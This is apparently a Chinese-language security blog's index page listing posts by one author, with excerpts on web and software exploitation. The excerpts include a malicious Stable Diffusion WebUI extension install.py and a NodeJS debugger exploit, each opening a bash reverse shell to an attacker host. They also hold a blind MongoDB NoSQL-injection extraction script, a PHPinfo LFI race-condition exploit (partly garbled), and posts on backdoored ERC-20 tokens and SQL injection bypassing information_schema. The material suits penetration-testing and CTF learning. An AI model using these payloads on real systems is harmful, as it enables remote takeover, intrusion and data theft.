Stable Diffusion WebUI RCE Vulnerability

目前最有名的 Stable Diffusion GUI 程式是由 AUTOMATIC1111 開發的 stable-diffusion-webui ,它強大且多功能的介面,吸引了非常多人的使用。 Stable Diffusion Web UI 支援透過 Extension 功能安裝第三方的套件,使用者僅需貼上對應的 GitHub Repository 即可安裝對應的套件。 透過這種方式安裝套件非常方便,但也有嚴重的安全隱患。這些套件都是透過 Python 撰寫而成,因此,駭客也可以自行準備一個惡意的腳本,並透過該 UI 載入,即可達成遠端指令執行 (RCE)。 Stable Diffusion Web UI 的套件格式為,一個 install.py 的腳本進行安裝相關操作,而主要的腳本則放在 scripts 資料夾中。而初次引入腳本的瞬間,系統會自動執行 install.py 的程式碼。因此,如果攻擊者準備好一個包含惡意腳本的 Repository,並引入,即可控制遠端的系統。 舉例來說,我們可以建立一個 Github Repository,並單純只放入 install.py,裡面寫入一個 Reverse Shell 的腳本。 import os os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/8787 0>&1' &") 並操作 Stable Diffusion Web UI 進行引入的動作,當按下引入後,攻擊者的 IP 即可收到一個 Reverse Shell,也就代表我們已經順利的駭入這台電腦或伺服器了! Demo: https://www.youtube.com/watch?v=yyjeMs1R8Ew 其實,這套 Web UI 預設是開在 127.0.0.1 僅供本地使用,不過許多人為了遠端存取,或是多人共用,因此將其直接開在廣域網路上。可怕的事情是,只要對整個網際網路開啟了 Web UI,駭客就可以輕易地奪走使用者的電腦或是伺服器! ...

2023-04-23 · 1 分鐘 · steven

去中心化的區塊鏈虛擬貨幣是唬爛的 - ERC-20 後門實戰

前一篇文中,我們使用了 Solidity 實作 ERC 20 代幣,當時我們提到了區塊鏈的虛擬貨幣,其實就只是在 EVM 中的一個 map (類似 Python 的 Dictionary),裡面儲存了位址以及金額。 而 ERC 20 標準,只需要符合指定的 Interface,講白話文就是,僅需要 Implement 指定的幾個 Function,就能發行一個新的虛擬貨幣。 然而,這會有兩個明顯的問題,首先,我們只需要依照標準定義 function 的名稱、輸入、輸出就可以符合 ERC 20 的標準,這邊並沒有限制任何的 function 內容需要怎麼實作,這意味著我們可以自己幫 Function 加料,例如在 Function 中埋藏一些後門。 另外,我們也可以在同一個 Contract 中,額外實作標準以外的其他 Function 來達成我們希望的功能,做這兩件事情,都依然是一個合法、符合 ERC 20 標準的代幣。 為了避免重造輪子,事實上我們可以直接 import 由 OpenZeppelin 提供的 Library 來進行繼承或是修改,OpenZeppelin 也提供了很多擴充功能可以使用。 // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 舉例來說,我們想要發行一個後門幣 (Back Door Coin, BDC) 的話,僅需在合約的 Constructor 定義我們初始需要鑄造多少顆幣,預設的 decimals 是 18,也就是真正的貨幣金額會是 Balance 值 *10^-18,以避免浮點誤差。 ...

2023-01-05 · 3 分鐘 · steven

如果我說 OSWE 很好考會不會有人想打我

前陣子報名了 OSWE / AWAE 的課程,在空閒的時間學習,終於在一個半月的時間內考到了 OSWE 證照,趁還沒有忘記之前來寫一下心得文。 前言 我覺得要提到資安證照,不得不提到 Paul Jerimy Media 上的 Security Certification Roadmap。 以目前 2022 年 8 月最新版,該列表上的資安證照總共有 460 張,目前我持有的基本上都偏向右邊的 Security Operations 部分。 包含了本次的 OSWE、OSCP 以及不予置評的 LPT 及 CPENT,ㄏㄏ。 正常來說在這張表上,越上面的代表專業程度越高,也越難。但有許多證照雖然在同樣的領域,因為考試方向不同,如大多數都是選擇題或暴力破解之類的 (我就不說是哪張了 ……),所以我認為難度也僅供參考,不建議拿來做直接的比較。 目前以紅隊、滲透檢測相關的入門證照,大家最推的通常都是 OSCP, OSCP 在 Offensive Security 中,課程代號為 PEN-200,屬於 200 系列的課程。 OSWE 則是 WEB-300,屬於更高階的課,以同一間公司而言,理論上也會更困難一點? 我個人的背景是,去年年底取得 OSCP 證照;而大學及研究所時期都有玩過一些 CTF,雖然 CTF 的各領域都有基本的涉略,但最熟悉的方向是以 Web 網頁安全為主。 AWAE 課程內容 這邊由於課程規定的部分,我不方便說明太多,不過可以依照官網有提供的內容來進行介紹。 Cross-Origin Resource Sharing (CORS) with CSRF and RCE JavaScript Prototype Pollution Advanced Server Side Request Forgery Web security tools and methodologies Source code analysis Persistent cross-site scripting Session hijacking .NET deserialization Remote code execution Blind SQL injections Data exfiltration Bypassing file upload restrictions and file extension filters PHP type juggling with loose comparisons PostgreSQL Extension and User Defined Functions Bypassing REGEX restrictions Magic hashes Bypassing character restrictions UDF reverse shells PostgreSQL large objects DOM-based cross site scripting (black box) Server side template injection Weak random token generation XML external entity injection RCE via database functions OS command injection via WebSockets (black box) 其實從這邊的項目可以看出來,對於一個常打 CTF 的 Web 🐱 而言,這些問題應該都不陌生,而且我個人認為都偏比較老的洞,並沒有那麼現代 CTF 那些噁心的東西,當然想要用各種噁心的手法,如遇到 LFI 使用 Session Upload Progress 來解應該還是可行。 ...

2022-11-27 · 4 分鐘 · steven

MongoDB noSQLInjection with Binary Search

MongoDB 上面的 Injection 通常都可以直接使用 [$ne] 來做萬用解,但如果我們的目標不只是登入,而是想要 query 到指定目標的話,參考 HackTricks 可以看出。在 Blind 的情境底下,可以透過 regex 的方法來進行解答。 不過 HackTricks 或是 PayloadsAllTheThings 中,使用的方法通常都是直接對 strings 進行爆破。 這會出現耗時,以及遇到 Regex 保留字時的問題。因此,我透過 regex 的 unicode 功能,寫了一款類似於傳統 SQL injection 中,透過 Binary Search 的方法來取得密碼,廢話不多說,直接上 Code。 使用上來看,只需要變更 query 函數中的條件,即可。 import requests import urllib.parse def query(q): res = requests.get(r"http://127.0.0.1:8791/?user=admin&pass[$regex]=" + q) if "Success" in res.text: return True else: return False def binary_search(left, right, query_s, query_f, v=1): while right - left > 3: # 4: guess = int(left+(right-left)/2) old_left = left left = guess command = urllib.parse.quote(r"^.{%s}[\x{%s}-\x{%s}].{%s}" % (index, f"{hex(int(left))[2:]:0>4}", f"{hex(int(right))[2:]:0>4}", length-index-1)) if query(command): left = guess else: right = guess left = old_left print(f"{left} ~ {right}" , end="\r") for i in range(left,right+1): command = urllib.parse.quote(r"^.{%s}[\x{%s}].{%s}" % (index, f"{hex(int(i))[2:]:0>4}", length-index-1)) # print(command) if query(command): print(f"[!] Answer: {i} ({chr(i)})") return i length = get_len() print(f"String Length = {length}") r = [] for i in range(length): r.append(chr(binary_search_content(index=i,length=length))) print(''.join(r))

2022-11-15 · 1 分鐘 · steven

.Net 反序列化攻擊 101

.Net 反序列化一直是一個很熱門的話題,但是因為背後通常都是 Windows,搭建題目不便的原因,導致 CTF 通常很少出現。 這邊會用一個很簡單的例子,從 .Net 麻瓜的 Hello World 開始介紹。 因為不想用肥肥 CS,因此使用 csc 進行編譯,需要先把 C:\Windows\Microsoft.NET\Framework\v4.0.30319\ 加到 path 0x1 Hello World 身為一個不熟 C# 的人,凡事從 Hello World 開始 using System; namespace helloworld{ class Program{ static void Main(string[] args){ Console.WriteLine("Hello World!"); } } } 編譯 csc /reference:C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll;C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\WindowsBase.dll /t:exe /out:hello.exe hello.cs 可以順利的 Hello World! 0x2 Hello Class C# 中,Class 的寫法是這樣 using System; namespace hello_class{ class Program{ static void Main(string[] args){ Meow myMeow = new Meow(); myMeow.MeowName = "Steven"; myMeow.Meowww(); } } public class Meow{ public string MeowName{ get; set; } public void Meowww(){ Console.WriteLine("Hello " + MeowName + " meow meow!"); } } } 編譯 ...

2022-09-13 · 3 分鐘 · steven

Advanced Local File Inclusion to RCE in 2022

蛤,都 2022 年了,還有人不知道 LFI 基本上就 = RCE ㄇ? 還有人 LFI 只會寫 log、努力找上傳檔案的點再來 Include ㄇ?覺得 LFI 就只能 Base64 看看源碼ㄇ? 這篇文整理了一下最近幾年來比較實用的一些 LFI 技巧,透過無腦的貼 POC 就可以快速的 Get Shell。以下我使用 PHP 8.1 apache 做為實驗環境,測試了幾種常見的 RFI to RCE 技巧,理論上在大多數的 PHP 7 底下,預設環境中,不用修改任何的 config 都可以適用。 Environment Setup docker-compose.yml version: "3.7" services: webserver: image: php:8.1-apache volumes: - ./web:/var/www/html web/index.php &1'"); ?>'''.format(tag=tag,shell_host=shell_host,shell_port=shell_port) UPLOAD="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {} -----------------------------7dbff1ded0714--\r""".format(PAYLOAD) padding="A" * 5000 ## PHPinfo path INFOREQ="""POST {phpinfo}?a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {len}\r Host: %s\r \r {upload}""".format(phpinfo=PHPinfo_File,padding=padding, len=len(UPLOAD), upload=UPLOAD) # LFI Path LFIREQ="GET " + LFI_File + """%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ class PHPINFO_LFI(): def __init__(self, host, port): self.host = host self.port = int(port) self.req_payload= (INFOREQ % self.host).encode('utf-8') self.lfireq = LFIREQ self.offset = self.get_offfset() def get_offfset(self): ''' 获取tmp名字的offset ''' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.host, self.port)) s.send(self.req_payload) page = b"" while True: i = s.recv(4096) page+=i if i == "": break if i.decode('utf8').endswith("0\r\n\r\n"): break s.close() pos = page.decode('utf8').find("[tmp_name] => ") print('get the offset :{} '.format(pos)) if pos == -1: raise ValueError("No php tmp_name in phpinfo output") return pos+256 #多加一些字节 def phpinfo_lfi(self): ''' 同时发送phpinfo请求与lfi请求 ''' phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo.connect((self.host, self.port)) lfi.connect((self.host, self.port)) phpinfo.send(self.req_payload) infopage = b"" while len(infopage) ") tmpname = infopage[pos+17:pos+31] lfireq = self.lfireq % (tmpname.decode('utf8'),self.host) lfi.send(lfireq.encode('utf8')) fipage = lfi.recv(4096) phpinfo.close() lfi.close() if fipage.decode('utf8').find(tag) != -1: return tmpname if __name__ == '__main__': print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts)) p = PHPINFO_LFI(host,port) for i in range(int(attempts)): print('Trying {}/{} times…'.format(i, attempts), end="\r") if p.phpinfo_lfi() is not None: print("Success!!") exit() print(':( Failed') Session Upload Progress session.upload_progress Session Upload Progress 是目前我最愛用的方法,沒有之一。 ...

2022-05-07 · 4 分鐘 · steven

SQL Injection Without Column Name and information_schema

前幾天遇到了一個類似 CTF 的 PT 情境,主要狀況是,我有辦法透過 Union Based 的方法進行 SQL Injection;我有辦法得知 Table name,卻無法得知 Column Name。 先工商一下,如果缺乏測試 SQL 的環境,可以使用我的 Repo: DB-Tester , 用 Docker-compose 的方式建立了一個 Web Server 與 SQL Server,目前有支援 MySQL、PostgreSQL、M$SQL、Oracle 等。 Background 通常 SQL Injection 的套路就是,透過 information_schema 裡面的 schemata, tables, columns 來取得資料庫名稱、表格名稱以及欄位名稱,但在這次的情境中,因為 WAF 的設定,我們無法摸到任何的 information_schema,因此只能尋找相關的替代品。 information_schema 的替代品 在 MySQL 版本 >= 5.5 之後,MySQL 預設的 Table Engine 為 innodb,其中,就有資料庫的名稱以及表格的名稱可以利用 mysql> SELECT * FROM mysql.innodb_table_stats; +---------------+------------+---------------------+--------+----------------------+--------------------------+ | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | +---------------+------------+---------------------+--------+----------------------+--------------------------+ | mysql | component | 2022-04-25 12:57:27 | 0 | 1 | 0 | | sys | sys_config | 2022-04-25 12:57:29 | 6 | 1 | 0 | | test_db | accounts | 2022-04-25 12:58:06 | 2 | 1 | 0 | | test_db | news | 2022-04-25 12:58:29 | 0 | 1 | 0 | +---------------+------------+---------------------+--------+----------------------+--------------------------+ 例如想要快速一鍵爆資料庫、資料表名稱,可以使用 ...

2022-04-25 · 4 分鐘 · steven

NodeJS V8 Engine Debugger Exploit (Part2) - Auto Exploit

在上一篇文,(NodeJS V8 Engine Debugger Exploit) 中,我們使用了 VSCode 的 Debugger 與 Chrome 的 Debugger 把 Node JS 的 Debugger Port 給戳出 Shell。 但上一篇貼文終究要使用到 GUI,用起來總是沒有很舒服,感謝 @uuuuuyurr 大大協助,找到了一個方便的酷酷工具,可以使用 CLI 、 程式完成這件事情。 這次需要使用到的套件叫做 chrome-remote-interface 透過 npm i chrome-remote-interface 即可進行安裝。 接下來把官方的範例程式做一點點小小小修改,其他環境皆與上次的實驗環境相同,就可以 RCE 囉! Exploit 程式碼: const CDP = require('chrome-remote-interface'); async function example() { let client; try { // connect to endpoint options = { "host": "192.168.40.136", "port":9229 } client = await CDP(options); r = await client.Runtime.evaluate({expression: `global.process.mainModule.constructor._load("child_process").exec("bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1'")`}); console.log(r); } catch (err) { console.error(err); } finally { if (client) { await client.close(); } } } example();

2022-04-10 · 1 分鐘 · steven

NodeJS V8 Engine Debugger Exploit

前陣子,在某個奇怪的情境下遇到的狀況,我擁有一台機器上跑的 Server 的完整 Source Code,且其 NodeJS 的 Debugger Port 是開啟的狀態,在這種情況下是有辦法取得 RCE 的嗎? 這邊我建立了一個簡單的 NodeJS 的 Script,功能很直覺,應該不需要多做解釋。 const express = require('express') const app = express() const port = 3000 app.get('/', (req, res) => { var name = req.query.name res.send('Hello ' + name + " !!"); }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) }) 如果說,我們的這隻程式因為各種緣故,需要使用遠端 Debugger 的話,很可能會用下面的方法叫起來,不過這種方法是超級無敵危險的! nodejs --inspect=0.0.0.0 main.js VSCode Exploit 假設我們的程式在 Victim 端使用上述方法跑起來,而 Attacker 擁有完全一樣的 Code 的話,可以在專案中新增下面的檔案,並把 IP Address 修改成 Victim 的 IP。 ...

2022-04-05 · 2 分鐘 · steven

CVE-2022-0332 Moodle SQL Injection Reproduce

起因是,HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法,她說實作了一天都卡在一些參數問題上,所以我就架起來玩了一下。 Moodle / 母斗 是一個很大的 LMS,目前台科大也正在使用,我目前也在被摧殘的第六年,ㄏㄏ。 Public Information Exploit-DBhttps://www.exploit-db.com/exploits/50700GitHub- https://github.com/numanturle/CVE-2022-0332 Build Environment 要復現這個漏洞,比想像中麻煩很多,這邊我使用了 Docker-compose 來快速建置環境,基本上內容來自 bitnami-docker-moodle , 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本 docker-compose 內容 version: '2' services: mariadb: image: docker.io/bitnami/mariadb:10.3 environment: # ALLOW_EMPTY_PASSWORD is recommended only for development. - ALLOW_EMPTY_PASSWORD=yes - MARIADB_USER=bn_moodle - MARIADB_DATABASE=bitnami_moodle - MARIADB_CHARACTER_SET=utf8mb4 - MARIADB_COLLATE=utf8mb4_unicode_ci volumes: - 'mariadb_data:/bitnami/mariadb' moodle: image: docker.io/bitnami/moodle:3.11.4 ports: - '80:8080' - '443:8443' environment: - MOODLE_DATABASE_HOST=mariadb - MOODLE_DATABASE_PORT_NUMBER=3306 - MOODLE_DATABASE_USER=bn_moodle - MOODLE_DATABASE_NAME=bitnami_moodle # ALLOW_EMPTY_PASSWORD is recommended only for development. - ALLOW_EMPTY_PASSWORD=yes volumes: - 'moodle_data:/bitnami/moodle' - 'moodledata_data:/bitnami/moodledata' depends_on: - mariadb volumes: mariadb_data: driver: local moodle_data: driver: local moodledata_data: driver: local 執行 Docker 基本上執行下面的指令,就可以把完整的環境跑起來了 ...

2022-04-01 · 4 分鐘 · steven